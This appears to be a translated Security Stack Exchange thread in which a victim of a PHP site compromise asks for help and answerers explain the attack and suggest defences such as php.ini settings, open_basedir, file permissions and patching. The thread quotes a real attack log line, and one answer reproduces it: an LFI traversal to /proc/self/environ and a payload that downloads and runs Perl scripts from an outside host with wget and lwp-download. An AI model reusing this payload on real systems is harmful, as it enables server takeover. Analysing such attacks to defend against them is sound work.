¿Cómo encontrar y protegerse contra la vulnerabilidad explotada en una aplicación PHP basada en la URL registrada?

4

Me han atacado en un servidor host compartido y me dijeron que debería configurar mi propio archivo php.ini correctamente.

Tengo un pequeño programa PHP / MySQL con una función de registro, un pequeño sitio de administración.

Sin embargo, alguien lo hackeó. Cualquier ayuda sería realmente apreciada con php.ini.

Esto es lo que obtuve del proveedor de alojamiento web:

  

121.254.216.170 - - [12 / Sep / 2011: 05: 21: 07 +0100] "GET /?p=../../../../../../../ ../../../../../../../../proc/self/environ%00 HTTP / 1.1 "200 5806" - "http://some.thesome.com /etc/byz.jpg? -O / tmp / cmd548; cd / tmp; lwp-download http: // algunos. thesome. com / etc / cup.txt; perl cup.txt; rm -rf .txt ; wget http: // algunos. thesome. com / etc / update.txt; perl update.txt; rm -rf .txt '); echo \ "# j13mb0t \"; ? > "

Debido a que la inyección de scripts ataca el código del sitio en sí, puede evitar completamente la seguridad del servidor web. Desafortunadamente, algunos sistemas de administración de contenido (especialmente las versiones anteriores de Joomla) son extremadamente susceptibles a esta forma de ataque.

Una forma sencilla de eliminar la capacidad de los atacantes de usar este método es agregar un archivo php.ini en el nivel superior del sitio web con los siguientes contenidos. Tenga en cuenta que el sitio web necesitará pruebas posteriores para asegurarse de que el cambio no ha afectado a ninguna acción legítima mediante scripts del sitio web:

Las directivas php.ini son:

allow_url_include = "0"
allow_url_fopen = "0"
    
pregunta Andras Sebestyen 12.09.2011 - 23:56
fuente

2 respuestas

5

Si bien la configuración sugerida es buena a menos que la funcionalidad deshabilitada sea realmente necesaria, es probable que no hayan evitado este tipo de ataque:

Vector de ataque

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerabilidad

Hay algún código PHP que escribe otro archivo PHP, probablemente una forma de cambiar una configuración usando la interfaz web. La configuración se almacena como código PHP.

El mecanismo escribe algo similar a

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput es la cadena que cité anteriormente con saltos de línea adecuados para facilitar la lectura.

Dada la URL de ataque en el encabezado Refer , es posible que la motivación para el código no sea un mecanismo de configuración, sino crear un archivo de páginas desde las que las personas estén vinculadas a su sitio web.

Resultado

Entonces el resultado se ve como

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Tenga en cuenta el ?> para evitar que "algo más" se vea como código PHP.

Contramedidas

Si es posible, configure los permisos del sistema de archivos para que no permita que el servidor web escriba archivos en ningún directorio desde el que ejecuta archivos PHP. Es posible que deba otorgar temporalmente permisos de escritura para los cambios de configuración en archivos específicos, pero debe eliminarlo después de los cambios. Tenga especial cuidado de colocar las carpetas de carga fuera de la raíz web.

Asegúrese de instalar actualizaciones de seguridad de software de terceros, como PhpMyAdmin, Wordpress, incluidos los complementos muy rápidamente después del lanzamiento. Suscríbase a las listas de correo en las que se anuncian esas actualizaciones.

Haz una auditoría en tu código. Si eso no es posible porque es demasiado costoso, al menos aprenda sobre problemas de seguridad comunes en el código PHP. Los Top 5 de PHP de OWASP son un buen punto de partida.

    
respondido por el Hendrik Brummermann 13.09.2011 - 08:38
fuente
2

Lo mejor que puedes hacer es arreglar el script PHP, para que LFI ya no sea posible. Puede cambiar la configuración para dificultar la explotación, pero debe solucionar el problema en la raíz: el script que usa ese parámetro 'p' para incluir archivos.

Además, de hecho, podría establecer allow_url_include y allow_url_fopen. También recomiendo establecer open_basedir (ver enlace ).

    
respondido por el chris 13.09.2011 - 07:25
fuente

Lea otras preguntas en las etiquetas